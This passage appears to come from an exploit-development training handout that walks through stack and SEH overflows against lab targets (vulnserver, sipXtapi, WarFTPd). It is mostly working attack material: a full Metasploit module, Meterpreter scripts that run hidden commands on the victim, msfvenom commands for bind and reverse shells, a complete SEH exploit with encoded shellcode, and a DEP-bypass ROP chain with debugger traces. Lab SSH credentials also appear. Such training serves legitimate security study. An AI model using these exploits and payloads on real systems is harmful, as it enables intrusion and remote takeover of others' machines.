  1015. memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
  1016.  
  1017. ------------------------------
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026. -----From your Linux attack host that can reach your Windows machine that is running vulnerver.exe------
  1027.  
  1028.  
  1029.  
  1030.  
  1031. ---------------------------Type This-----------------------------------
  1032.  
  1033. cd /usr/share/metasploit-framework/modules/exploits/windows/misc
  1034.  
  1035. nano vulnserv.rb
  1036. -------(paste the code below into this file)-------
  1037. #
  1038. #
  1039. # Quick Metasploit exploit for vulnserver.exe
  1040. # Written by: Joe McCray
  1041. #
  1042. # Place this exploit in:
  1043. # /usr/share/metasploit-framework/modules/exploits/windows/misc
  1044. #
  1045. require 'msf/core'
  1046.  
  1047. class Metasploit3 < Msf::Exploit::Remote
  1048. include Msf::Exploit::Remote::Tcp
  1049. def initialize(info = {})
  1050. super(update_info(info,
  1051. 'Name' => 'Custom vulnerable server stack overflow',
  1052. 'Description' => %q{
  1053. This module exploits a stack overflow in an app called
  1054. vulnserver that is designed to teach simple exploitation.
  1055. },
  1056. 'Author' => [ 'Joe McCray' ],
  1057. 'DefaultOptions' =>
  1058. {
  1059. 'EXITFUNC' => 'process',
  1060. },
  1061. 'Payload' =>
  1062. {
  1063. 'Space' => 800,
  1064. 'BadChars' => "\x00\x20",
  1065. },
  1066. 'Platform' => 'win',
  1067.  
  1068. 'Targets' =>
  1069. [
  1070. [
  1071. 'Windows XP SP3 EN',
  1072. {
  1073. 'Ret' => 0x625011AF,
  1074. }
  1075. ],
  1076. ],
  1077. 'DefaultTarget' => 0,
  1078.  
  1079. 'Privileged' => false
  1080. ))
  1081.  
  1082. register_options(
  1083. [
  1084. Opt::RPORT(9999)
  1085. ], self.class)
  1086. end
  1087.  
  1088. def exploit
  1089. connect
  1090. sock.recv(1024)
  1091.  
  1092. p = "\x41" * 16
  1093. p << payload.encoded
  1094.  
  1095. hdr = "TRUN ."
  1096. boom = pattern_create(3000)
  1097. boom[2006, 4] = [target.ret].pack('V') # EIP value
  1098. boom[2010, p.length] = p
  1099.  
  1100. sploit = hdr + boom
  1101.  
  1102. sock.put(sploit)
  1103.  
  1104. handler
  1105. disconnect
  1106.  
  1107. end
  1108.  
  1109. end
  1110. ------------------end of copy/paste content --------------
  1111.  
  1112.  
  1113.  
  1114. ---------------------------Type This-----------------------------------
  1115. msfconsole
  1116.  
  1117.  
  1118.  
  1119. use exploit/windows/misc/vulnserv
  1120. set PAYLOAD windows/meterpreter/bind_tcp
  1121. set RHOST CHANGEME-TO-YOUR-WIN7-IP
  1122. set RPORT 9999
  1123. exploit
  1124. ----------------------------------------------------------------------
  1125.  
  1126.  
  1127. ################################
  1128. # Custom Meterpreter Scripting #
  1129. ################################
  1130.  
  1131. - In this lab we will be looking at how you can use some custom Meterpreter scripts to do more than what Metasploit
  1132. can offer. This will also show you the flexibility of the Meterpreter scripts.
  1133.  
  1134. - We're going to start off with a simple Hello World script first.
  1135.  
  1136. ---------------------------Type This-----------------------------------
  1137. echo 'print_status("Hello World")' > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  1138. -----------------------------------------------------------------------
  1139.  
  1140. - This next portion is up to you, exploit your test box and end up with a Meterpreter shell.
  1141.  
  1142. - Lets test out our helloworld.rb Meterpreter script.
  1143.  
  1144. ---------------------------Type This-----------------------------------
  1145. meterpreter> run helloworld
  1146. -----------------------------------------------------------------------
  1147.  
  1148. - So far so good, now we can build on this base. Lets add a couple more API calls to the script.
  1149.  
  1150. - Open /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb in your favorite editor and add following
  1151.  
  1152. line.
  1153. ---------------------------Type This-----------------------------------
  1154. vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  1155. -----------------------------------------------------------------------
  1156.  
  1157. ---------------------------Paste This-----------------------------------
  1158. print_error("this is an error!")
  1159. print_line("this is a line")
  1160. -----------------------------------------------------------------------
  1161.  
  1162.  
  1163. - Now run the script:
  1164.  
  1165. meterpreter> run helloworld
  1166.  
  1167.  
  1168. - Now that we have the basics down, we're going to do something a little more exciting.
  1169. - The architecture to follow when creating these scripts goes as follows:
  1170.  
  1171. def getinfo(session)
  1172. begin
  1173. <stuff goes here>
  1174. rescue ::Exception => e
  1175. <stuff goes here>
  1176. end
  1177. end
  1178.  
  1179. -----------------------------------------------------------------------
  1180. - Copy and paste the following code into our helloworld.rb script:
  1181. ---------------------------Paste This-----------------------------------
  1182. def getinfo(session)
  1183. begin
  1184. sysnfo = session.sys.config.sysinfo
  1185. runpriv = session.sys.config.getuid
  1186. print_status("Getting system information ...")
  1187. print_status("The target machine OS is #{sysnfo['OS']}")
  1188. print_status("The computer name is #{'Computer'} ")
  1189. print_status("Script running as #{runpriv}")
  1190. rescue ::Exception => e
  1191. print_error("The following error was encountered #{e}")
  1192. end
  1193. end
  1194.  
  1195. getinfo(client)
  1196. --------------------------------------------------------------------------
  1197.  
  1198.  
  1199. - Now run the script:
  1200. ---------------------------Type This-----------------------------------
  1201. meterpreter> run helloworld
  1202. -----------------------------------------------------------------------
  1203.  
  1204. - We can expand it by adding actual system commands to the script, lets look at how we can do this.
  1205.  
  1206. ---------------------------Paste This-----------------------------------
  1207. def list_exec(session,cmdlst)
  1208. print_status("Running Command List ...")
  1209. r=''
  1210. session.response_timeout=120
  1211. cmdlst.each do |cmd|
  1212. begin
  1213. print_status "running command #{cmd}"
  1214. r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
  1215. while(d = r.channel.read)
  1216.  
  1217. print_status("#{d}")
  1218. end
  1219. r.channel.close
  1220. r.close
  1221. rescue ::Exception => e
  1222. print_error("Error Running Command #{cmd}: #{e.class} #{e}")
  1223. end
  1224. end
  1225. end
  1226.  
  1227. commands = [ "set",
  1228. "ipconfig /all",
  1229. "arp -a"]
  1230.  
  1231. list_exec(client,commands)
  1232. ------------------------------------------------------------------------
  1233.  
  1234.  
  1235. - Run the script:
  1236. ---------------------------Type This-----------------------------------
  1237. meterpreter> run helloworld
  1238. -----------------------------------------------------------------------
  1239.  
  1240. Note: Add all of the commands from the script below to your helloworld.rb script:
  1241. https://raw.githubusercontent.com/rapid7/metasploit-framework/master/scripts/meterpreter/winenum.rb
  1242.  
  1243.  
  1244.  
  1245.  
  1246. -----------------------------------------------------------------------
  1247. ###############
  1248. # Challenge 1 #
  1249. ###############
  1250. The exploits listed below are all simple stack overflows with the vulnerable application being available for download.
  1251. • http://www.exploit-db.com/exploits/17550/
  1252. • http://www.exploit-db.com/exploits/19266/
  1253. • http://www.exploit-db.com/exploits/18382/
  1254. • http://www.exploit-db.com/exploits/17527/
  1255. • http://www.exploit-db.com/exploits/15238/
  1256. • http://www.exploit-db.com/exploits/15231/
  1257. • http://www.exploit-db.com/exploits/14623/
  1258. • http://www.exploit-db.com/exploits/12152/
  1259. • http://www.exploit-db.com/exploits/11328/
  1260.  
  1261. Your challenge is to choose one of the exploits above, verify that it works on your target Windows host (if not why does it not work). Then re-write the script in the multiscript skeleton format like we did for the vulnserver and freefloat FTP exploits (meaning no less than 7 scripts).
  1262.  
  1263.  
  1264.  
  1265. ###############
  1266. # Challenge 2 #
  1267. ###############
  1268. Here is my SEH Overwrite walk-through script. See if it helps you with going through the challenge below.
  1269. http://45.63.104.73/SEH-Overwrite.zip
  1270.  
  1271. #######
  1272. # SEH #
  1273. #######
  1274.  
  1275. sipex0.py
  1276. ---------
  1277. 1. What are """ used for in Python
  1278. 2. How many bytes of data is being sent to the tag variable?
  1279. 3. How many bytes of data is being sent to the cseq variable?
  1280.  
  1281.  
  1282. sipex1.py
  1283. ---------
  1284. 1. What is sys.stderr.write?
  1285. 2. What is happening in line 29?
  1286. 3. What is happening in line 31?
  1287.  
  1288.  
  1289.  
  1290. sipex2.py
  1291. ---------
  1292. 1. What is happening in line 17?
  1293. 2. What is happening in line 18?
  1294. 3. What is the difference between read(), readline(), and readlines() in Python?
  1295.  
  1296.  
  1297.  
  1298. sipex3.py
  1299. ---------
  1300. 1. What is structured exception handler?
  1301. 2. what is happening in line 20?
  1302. 3. What is happening in line 21?
  1303. 4. What is happening in line 23?
  1304.  
  1305.  
  1306. sipex4.py
  1307. ---------
  1308. 1. What is happening in line 20?
  1309. 2. what is happening in line 21?
  1310. 3. What is happening in line 23?
  1311. 4. What is happening in line 25?
  1312. 5. What is happening in line 26?
  1313.  
  1314.  
  1315.  
  1316.  
  1317.  
  1318.  
  1319. The exploits listed below are all simple SEH overwrites with the vulnerable application being available for download.
  1320. SEH Overwrites:
  1321. • http://www.exploit-db.com/exploits/19625/
  1322. • http://www.exploit-db.com/exploits/17361/
  1323. • http://www.exploit-db.com/exploits/16101/
  1324. • http://www.exploit-db.com/exploits/15834/
  1325. • http://www.exploit-db.com/exploits/14195/
  1326. • http://www.exploit-db.com/exploits/11179/
  1327. • http://www.exploit-db.com/exploits/10973/
  1328. • http://www.exploit-db.com/exploits/10765/
  1329. • http://www.exploit-db.com/exploits/9596/
  1330. • http://www.exploit-db.com/exploits/8142/
  1331.  
  1332. Your challenge is to choose one of the exploits above, verify that it works on your target Windows host (if not why does it not work). Then re-write the script in the multiscript skeleton format like we did for the vulnserver and freefloat FTP exploits (meaning no less than 7 scripts).
  1333.  
  1334.  
  1335.  
  1336. ##################
  1337. # SEH Overwrites #
  1338. ##################
  1339.  
  1340. #################################################
  1341. # On our VictimXP Host (192.168.4.50) #
  1342. # Start sipXexPhone if it isn’t already running #
  1343. # Start WinDBG #
  1344. # Press “F6” and Attach to sipXexPhone.exe #
  1345. # Press “F5” to start the debugger #
  1346. #################################################
  1347.  
  1348.  
  1349.  
  1350.  
  1351.  
  1352. python sipex0.py 192.168.4.50
  1353. 0:003> dd eip
  1354. 0:003> dd esp
  1355. 0:003> !exchain
  1356. 0:003> dds esp
  1357. 0:003> dds
  1358.  
  1359. python sipex1.py 192.168.4.50
  1360. 0:003> dd eip
  1361. 0:003> dd esp
  1362. 0:003> !exchain
  1363. 0:003> g
  1364.  
  1365. When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
  1366.  
  1367.  
  1368. python sipex2.py 192.168.4.50
  1369. 0:003> dd eip
  1370. 0:003> dd esp
  1371. 0:003> !exchain
  1372. 0:003> g
  1373.  
  1374.  
  1375. ***ssh into 192.168.4.81 user: strategicsec pass: strategicsec***
  1376. cd ~/toolz/metasploit/tools/exploit
  1377. ruby pattern_offset.rb 41346941 We should see that SEH is at 252
  1378.  
  1379.  
  1380.  
  1381. !load narly
  1382. !nmod
  1383.  
  1384. ***ssh into 192.168.4.81 user: strategicsec pass: strategicsec***
  1385. ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
  1386. cd /home/strategicsec/toolz/metasploit/
  1387. ./msfbinscan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
  1388.  
  1389.  
  1390. #########################################
  1391. # sipex3.py in Notepad++. #
  1392. # Set cseq = 252 #
  1393. # Set seh2 address to: 0x10015977 #
  1394. #########################################
  1395.  
  1396.  
  1397. python sipex3.py 192.168.4.50
  1398. 0:003> !exchain
  1399.  
  1400. python sipex4.py 192.168.4.50
  1401.  
  1402.  
  1403. nc 192.168.4.50 4444
  1404.  
  1405.  
  1406. -----------------------------------------------
  1407. Here is some quick syntax you can use for generating payloads:
  1408.  
  1409.  
  1410. Calc:
  1411. -----
  1412. msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
  1413.  
  1414.  
  1415. Bind Shell
  1416. ----------
  1417. msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00\x0A\x0D' -f python
  1418.  
  1419.  
  1420. Reverse Shell
  1421. -------------
  1422. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 -b '\x00\x0A\x0D' -f python
  1423.  
  1424.  
  1425. Javascript Payload:
  1426. -------------------
  1427. msfvenom -p windows/exec CMD=calc.exe -f js_le -e generic/none
  1428. msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -f js_le -e generic/none
  1429. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 -f js_le -e generic/none
  1430.  
  1431. --------------------------------------------------------------------------------------
  1432. #!/usr/bin/python2
  1433. # Remote Buffer Overflow in sipXtapi
  1434.  
  1435. import sys
  1436. import socket
  1437. import struct # for pack function
  1438.  
  1439. if len(sys.argv) < 2:
  1440. sys.stderr.write("Usage: sipex.py <host>\n")
  1441. sys.exit(1)
  1442.  
  1443. target = sys.argv[1]
  1444. tag = "\x42" * 20
  1445. source = "127.0.0.1"
  1446. target_port = 5060
  1447. user = "bad"
  1448.  
  1449. cseq = "A" * 252 # Replace with distance to SEH
  1450.  
  1451. seh1 = "\x90\x90\xEB\x04" # nop, nop, jmp+4
  1452. seh2 = struct.pack('<I', 0x10015977) # replace this with a pop/pop/ret addr
  1453.  
  1454. # Replace 0x42424242 with POP/POP/RET value 0x10015977 from ./msfbinscan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
  1455.  
  1456. # shellcode = "\xCC" * 300 # int 3 shellcode
  1457.  
  1458. shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
  1459. shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x48\x6a\x67"
  1460. shellcode += "\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x77\x32\x41\x42\x41\x32"
  1461. shellcode += "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x4b\x59\x39\x6c\x41"
  1462. shellcode += "\x7a\x7a\x4b\x30\x4d\x6b\x58\x6b\x49\x6b\x4f\x59\x6f\x4b\x4f\x65"
  1463. shellcode += "\x30\x4e\x6b\x62\x4c\x57\x54\x51\x34\x6c\x4b\x31\x55\x45\x6c\x6c"
  1464. shellcode += "\x4b\x51\x6c\x47\x75\x33\x48\x63\x31\x6a\x4f\x6c\x4b\x52\x6f\x56"
  1465. shellcode += "\x78\x4e\x6b\x63\x6f\x61\x30\x64\x41\x6a\x4b\x53\x79\x4e\x6b\x35"
  1466. shellcode += "\x64\x4e\x6b\x73\x31\x7a\x4e\x46\x51\x59\x50\x4d\x49\x4e\x4c\x4b"
  1467. shellcode += "\x34\x59\x50\x53\x44\x34\x47\x4b\x71\x5a\x6a\x34\x4d\x37\x71\x79"
  1468. shellcode += "\x52\x5a\x4b\x4b\x44\x57\x4b\x70\x54\x57\x54\x65\x78\x73\x45\x6b"
  1469. shellcode += "\x55\x4e\x6b\x51\x4f\x45\x74\x47\x71\x7a\x4b\x30\x66\x4c\x4b\x54"
  1470. shellcode += "\x4c\x32\x6b\x6e\x6b\x41\x4f\x35\x4c\x54\x41\x6a\x4b\x53\x33\x56"
  1471. shellcode += "\x4c\x4e\x6b\x4b\x39\x62\x4c\x47\x54\x77\x6c\x52\x41\x4b\x73\x75"
  1472. shellcode += "\x61\x59\x4b\x53\x54\x6e\x6b\x43\x73\x70\x30\x4c\x4b\x51\x50\x56"
  1473. shellcode += "\x6c\x4e\x6b\x44\x30\x77\x6c\x4c\x6d\x4c\x4b\x43\x70\x35\x58\x31"
  1474. shellcode += "\x4e\x72\x48\x4e\x6e\x42\x6e\x76\x6e\x6a\x4c\x76\x30\x4b\x4f\x6b"
  1475. shellcode += "\x66\x42\x46\x62\x73\x52\x46\x73\x58\x65\x63\x30\x32\x41\x78\x72"
  1476. shellcode += "\x57\x33\x43\x47\x42\x31\x4f\x71\x44\x49\x6f\x7a\x70\x55\x38\x78"
  1477. shellcode += "\x4b\x78\x6d\x4b\x4c\x77\x4b\x50\x50\x6b\x4f\x4b\x66\x43\x6f\x6d"
  1478. shellcode += "\x59\x4b\x55\x50\x66\x6d\x51\x38\x6d\x43\x38\x57\x72\x42\x75\x71"
  1479. shellcode += "\x7a\x63\x32\x39\x6f\x4e\x30\x55\x38\x79\x49\x45\x59\x38\x75\x4e"
  1480. shellcode += "\x4d\x61\x47\x6b\x4f\x6a\x76\x73\x63\x70\x53\x66\x33\x43\x63\x36"
  1481. shellcode += "\x33\x41\x53\x71\x43\x70\x43\x43\x63\x4b\x4f\x5a\x70\x30\x66\x50"
  1482. shellcode += "\x68\x75\x41\x71\x4c\x50\x66\x42\x73\x4c\x49\x6d\x31\x7a\x35\x30"
  1483. shellcode += "\x68\x6e\x44\x34\x5a\x50\x70\x38\x47\x52\x77\x6b\x4f\x4e\x36\x70"
  1484. shellcode += "\x6a\x74\x50\x51\x41\x43\x65\x4b\x4f\x38\x50\x63\x58\x6d\x74\x6e"
  1485. shellcode += "\x4d\x56\x4e\x5a\x49\x31\x47\x69\x6f\x4a\x76\x53\x63\x30\x55\x4b"
  1486. shellcode += "\x4f\x6e\x30\x41\x78\x6a\x45\x37\x39\x4f\x76\x41\x59\x61\x47\x69"
  1487. shellcode += "\x6f\x48\x56\x46\x30\x70\x54\x73\x64\x73\x65\x39\x6f\x6e\x30\x4e"
  1488. shellcode += "\x73\x45\x38\x5a\x47\x33\x49\x6f\x36\x54\x39\x66\x37\x4b\x4f\x6b"
  1489. shellcode += "\x66\x42\x75\x4b\x4f\x58\x50\x61\x76\x33\x5a\x30\x64\x50\x66\x30"
  1490. shellcode += "\x68\x72\x43\x42\x4d\x4b\x39\x4b\x55\x63\x5a\x52\x70\x50\x59\x31"
  1491. shellcode += "\x39\x38\x4c\x6c\x49\x39\x77\x70\x6a\x52\x64\x4c\x49\x68\x62\x50"
  1492. shellcode += "\x31\x6f\x30\x4b\x43\x6f\x5a\x49\x6e\x50\x42\x46\x4d\x59\x6e\x50"
  1493. shellcode += "\x42\x44\x6c\x6d\x43\x4c\x4d\x33\x4a\x77\x48\x4c\x6b\x4e\x4b\x4c"
  1494. shellcode += "\x6b\x70\x68\x31\x62\x6b\x4e\x6d\x63\x72\x36\x6b\x4f\x70\x75\x30"
  1495. shellcode += "\x44\x39\x6f\x78\x56\x33\x6b\x52\x77\x51\x42\x73\x61\x62\x71\x50"
  1496. shellcode += "\x51\x33\x5a\x44\x41\x50\x51\x50\x51\x62\x75\x30\x51\x59\x6f\x78"
  1497. shellcode += "\x50\x70\x68\x6e\x4d\x4b\x69\x76\x65\x68\x4e\x50\x53\x6b\x4f\x39"
  1498. shellcode += "\x46\x33\x5a\x59\x6f\x4b\x4f\x34\x77\x4b\x4f\x78\x50\x4c\x4b\x51"
  1499. shellcode += "\x47\x6b\x4c\x6b\x33\x4b\x74\x45\x34\x6b\x4f\x4a\x76\x36\x32\x4b"
  1500. shellcode += "\x4f\x38\x50\x50\x68\x58\x70\x6d\x5a\x43\x34\x33\x6f\x66\x33\x79"
  1501. shellcode += "\x6f\x6e\x36\x4b\x4f\x4a\x70\x67"
  1502.  
  1503.  
  1504. cseq = cseq + seh1 + seh2 + shellcode
  1505.  
  1506. packet = """INVITE sip:user@{source} SIP/2.0\r
  1507. To: <sip:{target}:{target_port}>\r
  1508. Via: SIP/2.0/UDP {target}:3277\r
  1509. From: "PRANKCALLER" <sip:{target}:3277>;tag={tag}\r
  1510. Call-ID: 3121{target}\r
  1511. CSeq: {cseq}\r
  1512. Max-Forwards: 70\r
  1513. Contact: <sip:{source}:5059>\r
  1514. \r
  1515. """.format(source=source, target=target, target_port=target_port, tag=tag, cseq=cseq)
  1516.  
  1517. sys.stderr.write("Packet\n"+packet+"\n")
  1518.  
  1519. sys.stderr.write("Sending Packet to: " + target + "\n\n")
  1520.  
  1521. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  1522.  
  1523. try:
  1524. sock.connect((target, target_port))
  1525. sock.sendall(packet + "\n")
  1526. except Exception as e:
  1527. sys.stderr.write("Cannot send to "+str(target)+" : "+str(target_port)+" : "+str(e)+"!\n")
  1528. finally:
  1529. sock.close()
  1530. sys.stderr.write("Sent.\n")
  1531.  
  1532.  
  1533.  
  1534. ---------------------------------------------------------------------------------------------
  1535.  
  1536. ###################################
  1537. # Stack Overflows with DEP Bypass #
  1538. ###################################
  1539.  
  1540. Reboot your target host and choose the "2nd" option for DEP.
  1541.  
  1542.  
  1543. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
  1544.  
  1545.  
  1546.  
  1547. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  1548.  
  1549. At WINDBG prompt
  1550. “r” to show registers or “alt+4”
  1551.  
  1552. dd esp
  1553.  
  1554.  
  1555.  
  1556.  
  1557. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  1558.  
  1559.  
  1560. At WINDBG prompt
  1561. “r” to show registers or “alt+4”
  1562. dd esp
  1563.  
  1564. Eip: 32714131
  1565. esp: affd58 (71413471)
  1566.  
  1567. Now we need to SSH into the StrategicSec Ubuntu host
  1568.  
  1569. cd /home/strategicsec/toolz/metasploit/tools
  1570.  
  1571. ruby pattern_offset.rb 32714131
  1572. 485
  1573.  
  1574. ruby pattern_offset.rb 71413471
  1575. 493
  1576.  
  1577.  
  1578.  
  1579.  
  1580.  
  1581.  
  1582.  
  1583.  
  1584. cd /home/strategicsec/toolz/metasploit/tools
  1585.  
  1586. ruby pattern_offset.rb 32714131
  1587.  
  1588. cd /home/strategicsec/toolz/metasploit/
  1589.  
  1590. ./msfbinscan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
  1591.  
  1592.  
  1593.  
  1594. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  1595.  
  1596. 0:003> dd eip
  1597. 0:003> dd esp
  1598.  
  1599. INT3s - GOOD!!!!!!!
  1600.  
  1601.  
  1602.  
  1603. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  1604.  
  1605. nc XPSP3-ED-Target-IP 4444
  1606.  
  1607.  
  1608. strategicsec....exploit no workie!!!!
  1609.  
  1610.  
  1611. Why????????? DEP!!!!!!!!!!!!!
  1612.  
  1613.  
  1614.  
  1615.  
  1616. Let's look through ole32.dll for the following instructions:
  1617.  
  1618. mov al,0x1
  1619. ret 0x4
  1620.  
  1621. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  1622.  
  1623.  
  1624.  
  1625. ./msfbinscan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
  1626.  
  1627. [DLLs/xpsp3/ole32.dll]
  1628. 0x775ee00e b001c204
  1629. 0x775ee00e mov al, 1
  1630. 0x775ee010 ret 4
  1631.  
  1632.  
  1633. Then we need to jump to the LdrpCheckNXCompatibility routine in
  1634. ntdll.dll that disables DEP.
  1635.  
  1636.  
  1637.  
  1638. Inside of ntdll.dll we need to find the following instructions:
  1639.  
  1640. CMP AL,1
  1641. PUSH 2
  1642. POP ESI
  1643. JE ntdll.7
  1644.  
  1645.  
  1646.  
  1647. ./msfbinscan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
  1648.  
  1649. [DLLs/xpsp3/ntdll.dll]
  1650. 0x7c91cd24 3c016a025e0f84
  1651. 0x7c91cd24 cmp al, 1
  1652. 0x7c91cd26 push 2
  1653. 0x7c91cd28 pop esi
  1654. 0x7c91cd29 jz 7
  1655.  
  1656.  
  1657. This set of instructions makes sure that AL is set to 1, 2 is pushed
  1658. on the stack then popped into ESI.
  1659.  
  1660.  
  1661.  
  1662.  
  1663.  
  1664. dep = "\x0e\xe0\x5e\x77"+\
  1665. "\xff\xff\xff\xff"+\
  1666. "\x24\xcd\x91\x7c"+\
  1667. "\xff\xff\xff\xff"+\
  1668. "A"*0x54
  1669.  
  1670.  
  1671.  
  1672. #################################
  1673. # Start WarFTPd #
  1674. # Start WinDBG #
  1675. # Press F6 #
  1676. # Attach to war-ftpd.exe #
  1677. # bp 0x775ee00e #
  1678. # g #
  1679. #################################
  1680.  
  1681.  
  1682.  
  1683.  
  1684. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  1685.  
  1686. ---------------------------------------------------------------------------
  1687. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  1688.  
  1689. mov al,0x1
  1690. ret 0x4
  1691.  
  1692.  
  1693.  
  1694.  
  1695. 0:005> g
  1696. Breakpoint 0 hit
  1697. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  1698. eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  1699. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  1700. ole32!CSSMappedStream::IsWriteable:
  1701. 775ee00e b001 mov al,1
  1702.  
  1703.  
  1704. 0:001> t
  1705. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  1706. eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  1707. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  1708. ole32!CSSMappedStream::IsWriteable+0x2:
  1709. 775ee010 c20400 ret 4
  1710.  
  1711.  
  1712.  
  1713.  
  1714.  
  1715. ---------------------------------------------------------------------------
  1716. Ok, so inside of ntdll.dll we need to find the following instructions:
  1717.  
  1718. CMP AL,1
  1719. PUSH 2
  1720. POP ESI
  1721. JE ntdll.7
  1722.  
  1723. 0:001> t
  1724. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  1725. eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
  1726. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  1727. ntdll!LdrpCheckNXCompatibility+0x13:
  1728. 7c91cd24 3c01 cmp al,1
  1729.  
  1730.  
  1731. 0:001> t
  1732. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  1733. eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  1734. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  1735. ntdll!LdrpCheckNXCompatibility+0x15:
  1736. 7c91cd26 6a02 push 2
  1737.  
  1738.  
  1739. 0:001> t
  1740. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  1741. eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  1742. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  1743. ntdll!LdrpCheckNXCompatibility+0x17:
  1744. 7c91cd28 5e pop esi
  1745.  
  1746.  
  1747. 0:001> t
  1748. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
  1749. eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
  1750. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
  1751. ntdll!LdrpCheckNXCompatibility+0x18:
  1752. 7c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
  1753.  
  1754.  
  1755. ---------------------------------------------------------------------------
  1756.  
  1757.  
  1758.  
  1759. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  1760.  
  1761. nc XPSP3-ED-Target-IP 4444
  1762.  
  1763.  
  1764. ##################
  1765. # SEH Overwrites #
  1766. ##################
  1767.  
  1768. #################################################
  1769. # On our VictimXP Host (XPSP3-ED-Target-IP) #
  1770. # Start sipXexPhone if it isn’t already running #
  1771. # Start WinDBG #
  1772. # Press “F6” and Attach to sipXexPhone.exe #
  1773. # Press “F5” to start the debugger #
  1774. #################################################
  1775.  
  1776.  
  1777. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
  1778.  
  1779.  
  1780.  
  1781. python sipex0.py XPSP3-ED-Target-IP
  1782.  
  1783. 0:003> !exchain
  1784. 0:003> dds esp
  1785. 0:003> dds
  1786.  
  1787. python sipex1.py XPSP3-ED-Target-IP
  1788.  
  1789. 0:003> !exchain
  1790. 0:003> g
  1791.  
  1792. When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
  1793.  
  1794.  
  1795. python sipex2.py XPSP3-ED-Target-IP
  1796.  
  1797. 0:003> !exchain
  1798. 0:003> g
  1799.  
  1800.  
  1801. ***ssh into instructor Ubuntu host***
  1802. cd /home/strategicsec/toolz/metasploit/tools
  1803. ruby pattern_offset.rb 41346941 We should see that SEH is at 252
  1804.  
  1805.  
  1806.  
  1807. !load narly
  1808. !nmod
  1809.  
  1810. ***ssh into instructor Ubuntu host***
  1811. ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
  1812. cd /home/strategicsec/toolz/metasploit/
  1813. ./msfbinscan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
  1814.  
  1815.  
  1816. #########################################
  1817. # sipex3.py in Notepad++. #
  1818. # Set cseq = 252 #
  1819. # Set seh2 address to: 0x10015977 #
  1820. #########################################
  1821.  
  1822.  
  1823. python sipex3.py XPSP3-ED-Target-IP
  1824. 0:003> !exchain
  1825.  
  1826. python sipex4.py XPSP3-ED-Target-IP
  1827.  
  1828.  
  1829.  
  1830. nc XPSP3-ED-Target-IP 4444
  1831.  
  1832.  
  1833.  
  1834.  
  1835. ################################
  1836. # Not Enough Space (Egghunter) #
  1837. ################################
  1838.  
  1839.  
  1840.  
  1841. SWS - SIMPLE WEB SERVER
  1842. -----------------------
  1843.  
  1844. Running SWS on Strategicsec-XP-ED-Target-VM
  1845. Start > Programs > Simple Web Server (it's in the middle somewhere)
  1846. Red icon in system tray
  1847. Double click it
  1848. - it will pop up a menu
  1849. - select "start"
